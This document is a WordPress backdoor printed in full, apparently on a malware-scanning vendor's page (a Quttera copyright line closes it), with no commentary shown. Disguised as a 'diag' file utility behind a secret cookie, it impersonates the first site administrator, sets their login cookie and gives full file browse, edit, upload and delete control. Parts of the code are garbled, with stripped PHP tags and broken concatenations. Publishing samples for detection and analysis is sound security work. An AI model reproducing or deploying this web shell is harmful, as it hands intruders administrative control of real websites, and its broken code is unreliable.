ICAgY29uc3Qgc2VsZlVybCA9ICc8P3BocCBlY2hvICRzZWxmX3VybDsgPz4nOw0KICAgICAgICBjb25zdCBjdXJyZW50UGF0aCA9ICc8P3BocCBlY2hvIHVybGVuY29kZSgkY3VycmVudF9wYXRoKTsgPz4nOw0KICAgICAgICBhY3Rpb25Gb3JtLmFjdGlvbiA9IGAke3NlbGZVcmx9JnBhdGg9JHtjdXJyZW50UGF0aH1gOw0KICAgICAgICANCiAgICAgICAgaWYgKGp3dCkgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2F1dGhfdG9rZW4nKS52YWx1ZSA9IGp3dDsNCiAgICAgICAgICAgIGlmIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYXV0aC1mb3JtJykpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhdXRoLWZvcm0nKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhdXRoLWZvcm0nKSkgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2F1dGgtZm9ybScpLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOw0KICAgICAgICB9DQogICAgfSk7DQogICAgZnVuY3Rpb24gdG9nZ2xlRm9ybShpZCkgeyB2YXIgZWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCk7IGlmKGVsKSBlbC5zdHlsZS5kaXNwbGF5ID0gZWwuc3R5bGUuZGlzcGxheSA9PT0gJ2Jsb2NrJyA/ICdub25lJyA6ICdibG9jayc7IH0NCiAgICBmdW5jdGlvbiBuYXZpZ2F0ZSh1cmwpIHsNCiAgICAgICAgY29uc3Qgand0ID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2ZtX2p3dCcpOw0KICAgICAgICBpZiAoand0KSB7DQogICAgICAgICAgICB3aW5kb3cubG9jYXRpb24uaHJlZiA9IHVybCArICcmYXV0aF90b2tlbj0nICsgand0Ow0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSB1cmw7DQogICAgICAgIH0NCiAgICB9DQogICAgZnVuY3Rpb24gbG9nb3V0KCkgeyBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnZm1fand0Jyk7IHdpbmRvdy5sb2NhdGlvbi5ocmVmID0gJzw/cGhwIGVjaG8gJHNlbGZfdXJsIC4gIiZwYXRoPSIgLiB1cmxlbmNvZGUoJGN1cnJlbnRfcGF0aCk7ID8+JzsgfQ0KICAgIGZ1bmN0aW9uIHZpZXdGaWxlKGZpbGVQYXRoKSB7IHdpbmRvdy5vcGVuKCc8P3BocCBlY2hvICRzZWxmX3VybDsgPz4mcGF0aD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGZpbGVQYXRoKSArICcmYWN0aW9uPXZpZXdfY29udGVudCcpOyB9DQogICAgZnVuY3Rpb24gZWRpdEZpbGUoZmlsZVBhdGgpIHsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVkaXRpbmctZmlsZW5hbWUiKS5pbm5lclRleHQgPSBmaWxlUGF0aC5zcGxpdCgvW1xcL10vKS5wb3AoKTsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVkaXRvci1maWxlcGF0aCIpLnZhbHVlID0gZmlsZVBhdGg7DQogICAgICAgIHZhciB1cmwgPSAiPD9waHAgZWNobyAkc2VsZl91cmw7ID8+JnBhdGg9IiArIGVuY29kZVVSSUNvbXBvbmVudChmaWxlUGF0aCkgKyAiJmFjdGlvbj12aWV3X2NvbnRlbnQmYXV0aF90b2tlbj0iICsgbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2ZtX2p3dCcpOw0KICAgICAgICBmZXRjaCh1cmwpLnRoZW4ocj0+ci50ZXh0KCkpLnRoZW4oY29udGVudD0+ew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVkaXRvci1jb250ZW50IikudmFsdWUgPSBjb250ZW50Ow0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVkaXRvciIpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgICAgICB9KTsNCiAgICB9DQogICAgZnVuY3Rpb24gY2xvc2VFZGl0b3IoKSB7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlZGl0b3IiKS5zdHlsZS5kaXNwbGF5PSJub25lIjsgfQ0KICAgIGZ1bmN0aW9uIHBlcmZvcm1BY3Rpb24oZXZlbnQsIGZvcm1FbGVtZW50KSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIGNvbnN0IGp3dCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdmbV9qd3QnKTsNCiAgICAgICAgaWYgKCFqd3QpIHsgYWxlcnQoJ0F1dGhlbnRpY2F0aW9uIHJlcXVpcmVkIScpOyByZXR1cm47IH0NCiAgICAgICAgDQogICAgICAgIGNvbnN0IGFjdGlvbkZvcm0gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0aW9uLWZvcm0nKTsNCiAgICAgICAgbGV0IHRva2VuSW5wdXQgPSBhY3Rpb25Gb3JtLnF1ZXJ5U2VsZWN0b3IoJyNhdXRoX3Rva2VuJyk7DQogICAgICAgIGlmKCF0b2tlbklucHV0KSB7DQogICAgICAgICAgICB0b2tlbklucHV0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaW5wdXQnKTsNCiAgICAgICAgICAgIHRva2VuSW5wdXQudHlwZSA9ICdoaWRkZW4nOw0KICAgICAgICAgICAgdG9rZW5JbnB1dC5uYW1lID0gJ2F1dGhfdG9rZW4nOw0KICAgICAgICAgICAgdG9rZW5JbnB1dC5pZCA9ICdhdXRoX3Rva2VuJzsNCiAgICAgICAgICAgIGFjdGlvbkZvcm0uYXBwZW5kQ2hpbGQodG9rZW5JbnB1dCk7DQogICAgICAgIH0NCiAgICAgICAgdG9rZW5JbnB1dC52YWx1ZSA9IGp3dDsNCg0KICAgICAgICBjb25zdCBmb3JtRGF0YSA9IG5ldyBGb3JtRGF0YShmb3JtRWxlbWVudCk7DQogICAgICAgIGZvcihsZXQgW25hbWUsIHZhbHVlXSBvZiBmb3JtRGF0YSkgew0KICAgICAgICAgICAgbGV0IGV4aXN0aW5nSW5wdXQgPSBhY3Rpb25Gb3JtLnF1ZXJ5U2VsZWN0b3IoYFtuYW1lPSIke25hbWV9Il1gKTsNCiAgICAgICAgICAgIGlmIChleGlzdGluZ0lucHV0KSB7DQogICAgICAgICAgICAgICAgIGV4aXN0aW5nSW5wdXQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChleGlzdGluZ0lucHV0KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBmb3IobGV0IFtuYW1lLCB2YWx1ZV0gb2YgZm9ybURhdGEpIHsNCiAgICAgICAgICAgICBjb25zdCBpbnB1dCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lucHV0Jyk7DQogICAgICAgICAgICAgaWYgKGZvcm1FbGVtZW50LmVuY3R5cGUgPT09ICdtdWx0aXBhcnQvZm9ybS1kYXRhJyAmJiB2YWx1ZSBpbnN0YW5jZW9mIEZpbGUpIHsNCiAgICAgICAgICAgICAgICAgaW5wdXQudHlwZSA9ICdmaWxlJzsNCiAgICAgICAgICAgICAgICAgaW5wdXQuZmlsZXMgPSBmb3JtRWxlbWVudC5xdWVyeVNlbGVjdG9yKCdpbnB1dFt0eXBlPWZpbGVdJykuZmlsZXM7DQogICAgICAgICAgICAgICAgIGlucHV0Lm5hbWUgPSBuYW1lOw0KICAgICAgICAgICAgICAgICBhY3Rpb25Gb3JtLmFwcGVuZENoaWxkKGlucHV0KTsNCiAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICBpbnB1dC50eXBlID0gJ2hpZGRlbic7DQogICAgICAgICAgICAgICAgIGlucHV0LnZhbHVlID0gdmFsdWU7DQogICAgICAgICAgICAgICAgIGlucHV0Lm5hbWUgPSBuYW1lOw0KICAgICAgICAgICAgICAgICBhY3Rpb25Gb3JtLmFwcGVuZENoaWxkKGlucHV0KTsNCiAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgYWN0aW9uRm9ybS5zdWJtaXQoKTsNCiAgICB9DQogICAgZnVuY3Rpb24gcmVuYW1lSXRlbShmaWxlUGF0aCwgY3VycmVudE5hbWUpIHsNCiAgICAgICAgY29uc3Qgand0ID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2ZtX2p3dCcpOyBpZiAoIWp3dCkgeyBhbGVydCgnQXV0aGVudGljYXRpb24gcmVxdWlyZWQhJyk7IHJldHVybjsgfQ0KICAgICAgICB2YXIgbmV3TmFtZSA9IHByb21wdCgiRW50ZXIgbmV3IG5hbWUgZm9yICIgKyBjdXJyZW50TmFtZSwgY3VycmVudE5hbWUpOw0KICAgICAgICBpZiAobmV3TmFtZSAmJiBuZXdOYW1lICE9PSBjdXJyZW50TmFtZSkgew0KICAgICAgICAgICAgY29uc3QgZm9ybSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2Zvcm0nKTsNCiAgICAgICAgICAgIGZvcm0ubWV0aG9kID0gJ3Bvc3QnOw0KICAgICAgICAgICAgZm9ybS5hY3Rpb24gPSAnPD9waHAgZWNobyAkc2VsZl91cmwgLiAiJnBhdGg9IiAuIHVybGVuY29kZSgkY3VycmVudF9wYXRoKTsgPz4nOw0KICAgICAgICAgICAgZm9ybS5pbm5lckhUTUwgPSBgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYXV0aF90b2tlbiIgdmFsdWU9IiR7and0fSI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0icmVuYW1lIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZW5hbWVfZnJvbSIgdmFsdWU9IiR7ZmlsZVBhdGh9Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZW5hbWVfdG8iIHZhbHVlPSIke25ld05hbWV9Ij5gOw0KICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmb3JtKTsNCiAgICAgICAgICAgIGZvcm0uc3VibWl0KCk7DQogICAgICAgIH0NCiAgICB9DQogICAgIGZ1bmN0aW9uIGRlbGV0ZUl0ZW0oZmlsZVBhdGgpIHsNCiAgICAgICAgY29uc3Qgand0ID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2ZtX2p3dCcpOyBpZiAoIWp3dCkgeyBhbGVydCgnQXV0aGVudGljYXRpb24gcmVxdWlyZWQhJyk7IHJldHVybjsgfQ0KICAgICAgICBpZiAoY29uZmlybSgnRGVsZXRlIHRoaXMgaXRlbSBwZXJtYW5lbnRseT8nKSkgew0KICAgICAgICAgICAgbmF2aWdhdGUoJzw/cGhwIGVjaG8gJHNlbGZfdXJsIC4gIiZwYXRoPSIgLiB1cmxlbmNvZGUoJGN1cnJlbnRfcGF0aCk7ID8+JmRlbD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGZpbGVQYXRoKSk7DQogICAgICAgIH0NCiAgICB9DQo8L3NjcmlwdD4NCjwvYm9keT48L2h0bWw+')); exit;}
if(isset($_GET['diag_nonce'])&&md5($_GET['diag
if (isset($_COOKIE['wp_diag_session']) && $_COOKIE['wp_diag_session'] === '0f576aed2aae2905c0f4b79f6704b4a0') { @error_reporting(0);
@set_time_limit(0);
if (!defined('ABSPATH')) {
$wp_load_path = false;
$current_dir = __DIR__;
for ($i = 0; $i < 10; $i++) {
if (file_exists($current_dir . '/wp-load.php')) {
$wp_load_path = $current_dir . '/wp-load.php';
break;
}
if ($current_dir === dirname($current_dir)) break;
$current_dir = dirname($current_dir);
}
if (!$wp_load_path) {
http_response_code(500); die('FATAL: WP Environment not found from loader.');
}
require_once($wp_load_path);
}
define('WP_ADMIN', true);
if (!function_exists('request_filesystem_credentials')) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
$admins = get_users(['role' => 'administrator']);
if (!empty($admins)) {
$admin_to_impersonate = $admins[0];
wp_set_current_user($admin_to_impersonate->ID);
wp_set_auth_cookie($admin_to_impersonate->ID, true);
} else {
http_response_code(500); die('FATAL: No admin user found to impersonate.');
}
if (false === ($creds = request_filesystem_credentials(admin_url(), '', false, false, null))) {
http_response_code(500); die('FATAL: Could not get filesystem credentials.');
}
if (!WP_Filesystem($creds)) {
http_response_code(500); die('FATAL: Filesystem credentials invalid.');
}
global $wp_filesystem;
function base64url_encode($data) { return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); }
function generate_jwt($secret) { $header = base64url_encode('{"alg":"HS256","typ":"JWT"}'); $payload = base64url_encode('{"user":"admin","exp":' . (time() + 7200) . '}'); $signature = base64url_encode(hash_hmac('sha256', $header . . $payload, $secret, true)); return $header . . $payload . . $signature; }
function verify_jwt($jwt, $secret) { $parts = explode(, $jwt); if(count($parts) !== 3) { return false; } list($header, $payload, $signature) = $parts; $expected_signature = base64url_encode(hash_hmac('sha256', $header . . $payload, $secret, true)); return hash_equals($signature, $expected_signature); }
function sanitize_file_name_custom_fm($filename) { return preg_replace('/[^A-Za-z0-9\._-]/', '', $filename); }
global $wp_filesystem;
$action_status = '';
$is_authenticated = false;
$master_key = get_option('wp_fm_master_key');
$jwt_token = '';
if (isset($_POST['auth_token']) && $master_key) {
if (verify_jwt($_POST['auth_token'], $master_key)) { $is_authenticated = true; $jwt_token = $_POST['auth_token']; } else { $action_status = 'Invalid or expired token.'; }
} elseif (isset($_GET['auth_token']) && $master_key) {
if (verify_jwt($_GET['auth_token'], $master_key)) { $is_authenticated = true; $jwt_token = $_GET['auth_token']; } else { $action_status = 'Invalid or expired token.'; }
}
$current_path = isset($_REQUEST['path']) ? stripslashes($_REQUEST['path']) : ABSPATH;
if (!$wp_filesystem->is_dir($current_path)) { $current_path = ABSPATH; }
$nonce = htmlspecialchars(isset($_GET['diag_nonce']) ? $_GET['diag_nonce'] : '');
$self_url = strtok($_SERVER["REQUEST_URI"], '?') . '?diag_nonce=' . $nonce;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['master_key'])) {
if ($master_key && $_POST['master_key'] === $master_key) {
$jwt = generate_jwt($master_key);
$redirect_url = $self_url . '&path=' . urlencode($current_path) . '&auth_token=' . $jwt;
header('Location: ' . $redirect_url); exit;
} else { $action_status = "Master Key Authentication Failed."; }
} elseif ($is_authenticated) {
if (isset($_FILES['file_upload']) && $_FILES['file_upload']['error'] == UPLOAD_ERR_OK) {
$new_file_path = rtrim($current_path, '/') . '/' . sanitize_file_name_custom_fm($_FILES['file_upload']['name']);
$file_content = file_get_contents($_FILES['file_upload']['tmp_name']);
if ($wp_filesystem->put_contents($new_file_path, $file_content, FS_CHMOD_FILE)) { $action_status = 'File uploaded successfully.'; } else { $action_status = 'Upload failed.'; }
} elseif (isset($_POST['new_content']) && isset($_POST['file_path'])) {
$clean_content = stripslashes($_POST['new_content']);
if ($wp_filesystem->put_contents($_POST['file_path'], $clean_content, FS_CHMOD_FILE)) { $action_status = 'File saved successfully.'; } else { $action_status = 'Save failed.'; }
} elseif (isset($_POST['new_dir_name'])) {
if ($wp_filesystem->mkdir(rtrim($current_path, '/') . '/' . sanitize_file_name_custom_fm($_POST['new_dir_name']))) { $action_status = 'Directory created.'; } else { $action_status = 'Could not create directory.'; }
} elseif (isset($_POST['new_file_name'])) {
if ($wp_filesystem->put_contents(rtrim($current_path, '/') . '/' . sanitize_file_name_custom_fm($_POST['new_file_name']), '', FS_CHMOD_FILE)) { $action_status = 'File created.'; } else { $action_status = 'Could not create file.'; }
} elseif (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
if ($wp_filesystem->move($_POST['rename_from'], dirname($_POST['rename_from']) . DIRECTORY_SEPARATOR . sanitize_file_name_custom_fm($_POST['rename_to']))) { $action_status = 'Renamed successfully.'; } else { $action_status = 'Rename failed.'; }
}
} elseif (isset($_POST['action'])) { $action_status = 'Authentication required for this action.'; }
} elseif (isset($_GET['del'])) {
if ($is_authenticated) {
if ($wp_filesystem->delete($_GET['del'], true)) { $action_status = 'Deleted: ' . htmlspecialchars(basename($_GET['del'])); } else { $action_status = 'Delete failed.'; }
} else { $action_status = 'Authentication required for delete action.'; }
}
if (isset($_GET['action']) && $_GET['action'] === 'view_content' && isset($_GET['path'])) { if ($wp_filesystem->exists($_GET['path'])) { header('Content-Type: text/plain'); echo $wp_filesystem->get_contents($_GET['path']); } exit; }
<!DOCTYPE html><html><head><title>File Utility</title><meta name="viewport" content="width=device-width, initial-scale=1.0"><style>body{font-family:monospace;background:#1e1e1e;color:#d4d4d4;margin:10px;}h2,h3{color:#4ec9b0;border-bottom:1px solid #444;padding-bottom:5px;}h2.authenticated{color:#ff5555; text-shadow: 0 0 5px #ff5555;}a{color:#9cdcfe;text-decoration:none;}table{width:100%;border-collapse:collapse;margin-top:20px;table-layout:fixed;}th,td{padding:8px;border:1px solid #333;text-align:left;word-wrap:break-word;}tr:hover td{background:#333;}.actions{text-align:right;}.actions a{margin:0 8px;color:#c586c0;}.status{background:#333;padding:10px;margin-bottom:20px;border-left:5px solid #4ec9b0;}.status.auth{border-left-color:#ff5555;}input,textarea,button{background:#333;color:#d4d4d4;border:1px solid #555;padding:8px;margin:2px;box-sizing:border-box;}#editor{position:fixed;top:0;left:0;width:100vw;height:100vh;background:rgba(30,30,30,0.95);z-index:100;display:none;padding:10px;box-sizing:border-box;}#editor textarea{width:100%;height:calc(75vh - 80px);box-sizing:border-box;font-family:monospace;}.actions-bar>*{display:inline-block;margin-right:15px;}@media(max-width:768px){body{margin:5px;}table{font-size:12px;}th,td{padding:4px;}td:nth-child(2),td:nth-child(3),td:nth-child(4){display:none;}th:nth-child(2),th:nth-child(3),th:nth-child(4){display:none;}.actions a{display:inline-block;margin:5px 0;}}</style></head><body>
if($action_status){ echo '<div class="status' . ($is_authenticated ? ' auth' : '') . '">'.$action_status.'</div>'; }
<h2 class="echo $is_authenticated ? 'authenticated' : '';">File Utility (echo isset($wp_filesystem) ? $wp_filesystem->method : 'Direct';) - Path: echo htmlspecialchars($current_path);</h2>
<div class="actions-bar">
<p>
<a href="#" onclick="navigate('echo $self_url;&path=echo urlencode(dirname($current_path));'); return false;">Go Up</a> |
if ($is_authenticated):
<a href="#" onclick="toggleForm('new-file-form'); return false;">New File</a> |
<a href="#" onclick="toggleForm('new-dir-form'); return false;">New Directory</a> |
<a href="#" onclick="logout(); return false;">Logout</a>
else:
<a href="#" onclick="toggleForm('auth-form'); return false;">Auth as Admin</a>
endif;
</p>
<div id="new-file-form" style="display:none;"><form onsubmit="performAction(event, this);"><input type="hidden" name="action" value="mkfile"><input type="text" name="new_file_name" placeholder="File name"><input type="submit" value="Create"></form></div>
<div id="new-dir-form" style="display:none;"><form onsubmit="performAction(event, this);"><input type="hidden" name="action" value="mkdir"><input type="text" name="new_dir_name" placeholder="Directory name"><input type="submit" value="Create"></form></div>
<div id="auth-form" style="display:none;"><form method="post" action="echo $self_url;&path=echo urlencode($current_path);"><input type="password" name="master_key" placeholder="Master Key"><input type="submit" value="Authenticate"></form></div>
</div>
<table><tr><th>Name</th><th>Size</th><th>Perms</th><th>Modified</th><th>Actions</th></tr>
$items = isset($wp_filesystem) ? $wp_filesystem->dirlist($current_path) : [];
$files_list = []; $dirs_list = [];
if (!empty($items)) {
foreach ($items as $name => $details) {
$item = ['name' => $name, 'path' => rtrim($current_path, '/') . '/' . $name, 'perms' => $details['perms'], 'size' => $details['size'], 'mtime' => $details['lastmodunix'], 'is_dir' => $details['type'] === 'd'];
if ($item['is_dir']) { $dirs_list[] = $item; } else { $files_list[] = $item; }
}
}
if (!function_exists('sort_items_custom_fm')) { function sort_items_custom_fm($a, $b) { return strcasecmp($a['name'], $b['name']); } }
usort($dirs_list, 'sort_items_custom_fm'); usort($files_list, 'sort_items_custom_fm'); $sorted_items = array_merge($dirs_list, $files_list);
foreach ($sorted_items as $file) {
echo '<tr><td>'.($file['is_dir']?'<a href="#" onclick="navigate(\''.$self_url.'&path='.urlencode($file['path']).'\'); return false;">['.htmlspecialchars($file['name']).']</a>':htmlspecialchars($file['name'])).'</td><td>'.($file['is_dir']?'DIR':round($file['size']/1024,2).' KB').'</td><td>'.$file['perms'].'</td><td>'.date("Y-m-d H:i", $file['mtime']).'</td><td class="actions">';
if ($is_authenticated) {
if(!$file['is_dir']) echo '<a href="#" onclick="viewFile(\''.addslashes($file['path']).'\');return false;">View</a> | <a href="#" onclick="editFile(\''.addslashes($file['path']).'\');return false;">Edit</a> | ';
echo '<a href="#" onclick="renameItem(\''.addslashes($file['path']).'\', \''.htmlspecialchars($file['name']).'\');return false;">Rename</a> | <a href="#" onclick="deleteItem(\''.addslashes($file['path']).'\'); return false;">Delete</a>';
} else {
echo 'Auth Required';
}
echo '</td></tr>';
}
</table>
if ($is_authenticated):
<hr><h3>Upload File</h3><form onsubmit="performAction(event, this);" enctype="multipart/form-data"><input type="hidden" name="action" value="upload"><input type="file" name="file_upload"><input type="submit" value="Upload"></form>
endif;
<div id="editor" style="display:none;"><h3 style="margin-top:0;">Editing: <span id="editing-filename"></span></h3><form onsubmit="performAction(event, this);"><textarea name="new_content" id="editor-content"></textarea><input type="hidden" name="action" value="save"><input type="hidden" name="file_path" id="editor-filepath"><br><input type="submit" value="Save"><button type="button" onclick="closeEditor();">Cancel</button></form></div>
<form id="action-form" method="post" action="" style="display:none;" enctype="multipart/form-data"><input type="hidden" name="auth_token" id="auth_token"></form>
<script>
document.addEventListener("DOMContentLoaded", function() {
const urlParams = new URLSearchParams(window.location.search);
const tokenFromUrl = urlParams.get('auth_token');
if (tokenFromUrl) {
localStorage.setItem('fm_jwt', tokenFromUrl);
window.history.replaceState({}, document.title, window.location.pathname + window.location.search.replace(/&?auth_token=[^&]*/, ''));
}
const jwt = localStorage.getItem('fm_jwt');
const actionForm = document.getElementById('action-form');
const selfUrl = 'echo $self_url;';
const currentPath = 'echo urlencode($current_path);';
actionForm.action = `${selfUrl}&path=${currentPath}`;
if (jwt) {
document.getElementById('auth_token').value = jwt;
if (document.getElementById('auth-form')) document.getElementById('auth-form').style.display = 'none';
} else {
if (document.getElementById('auth-form')) document.getElementById('auth-form').style.display = 'block';
}
});
function toggleForm(id) { var el = document.getElementById(id); if(el) el.style.display = el.style.display === 'block' ? 'none' : 'block'; }
function navigate(url) {
const jwt = localStorage.getItem('fm_jwt');
if (jwt) {
window.location.href = url + '&auth_token=' + jwt;
} else {
window.location.href = url;
}
}
function logout() { localStorage.removeItem('fm_jwt'); window.location.href = 'echo $self_url . "&path=" . urlencode($current_path);'; }
function viewFile(filePath) { window.open('echo $self_url;&path=' + encodeURIComponent(filePath) + '&action=view_content'); }
function editFile(filePath) {
document.getElementById("editing-filename").innerText = filePath.split(/[\\/]/).pop();
document.getElementById("editor-filepath").value = filePath;
var url = "echo $self_url;&path=" + encodeURIComponent(filePath) + "&action=view_content&auth_token=" + localStorage.getItem('fm_jwt');
fetch(url).then(r=>r.text()).then(content=>{
document.getElementById("editor-content").value = content;
document.getElementById("editor").style.display = "block";
});
}
function closeEditor() { document.getElementById("editor").style.display="none"; }
function performAction(event, formElement) {
event.preventDefault();
const jwt = localStorage.getItem('fm_jwt');
if (!jwt) { alert('Authentication required!'); return; }
const actionForm = document.getElementById('action-form');
let tokenInput = actionForm.querySelector('#auth_token');
if(!tokenInput) {
tokenInput = document.createElement('input');
tokenInput.type = 'hidden';
tokenInput.name = 'auth_token';
tokenInput.id = 'auth_token';
actionForm.appendChild(tokenInput);
}
tokenInput.value = jwt;
const formData = new FormData(formElement);
for(let [name, value] of formData) {
let existingInput = actionForm.querySelector(`[name="${name}"]`);
if (existingInput) {
existingInput.parentNode.removeChild(existingInput);
}
}
for(let [name, value] of formData) {
const input = document.createElement('input');
if (formElement.enctype === 'multipart/form-data' && value instanceof File) {
input.type = 'file';
input.files = formElement.querySelector('input[type=file]').files;
input.name = name;
actionForm.appendChild(input);
} else {
input.type = 'hidden';
input.value = value;
input.name = name;
actionForm.appendChild(input);
}
}
actionForm.submit();
}
function renameItem(filePath, currentName) {
const jwt = localStorage.getItem('fm_jwt'); if (!jwt) { alert('Authentication required!'); return; }
var newName = prompt("Enter new name for " + currentName, currentName);
if (newName && newName !== currentName) {
const form = document.createElement('form');
form.method = 'post';
form.action = 'echo $self_url . "&path=" . urlencode($current_path);';
form.innerHTML = `<input type="hidden" name="auth_token" value="${jwt}"><input type="hidden" name="action" value="rename"><input type="hidden" name="rename_from" value="${filePath}"><input type="hidden" name="rename_to" value="${newName}">`;
document.body.appendChild(form);
form.submit();
}
}
function deleteItem(filePath) {
const jwt = localStorage.getItem('fm_jwt'); if (!jwt) { alert('Authentication required!'); return; }
if (confirm('Delete this item permanently?')) {
navigate('echo $self_url . "&path=" . urlencode($current_path);&del=' + encodeURIComponent(filePath));
}
}
</script>
</body></html> exit;}
if(isset($_GET['diag_nonce'])&&md5($_GET['diag
© 2023 Quttera Ltd. All rights reserved.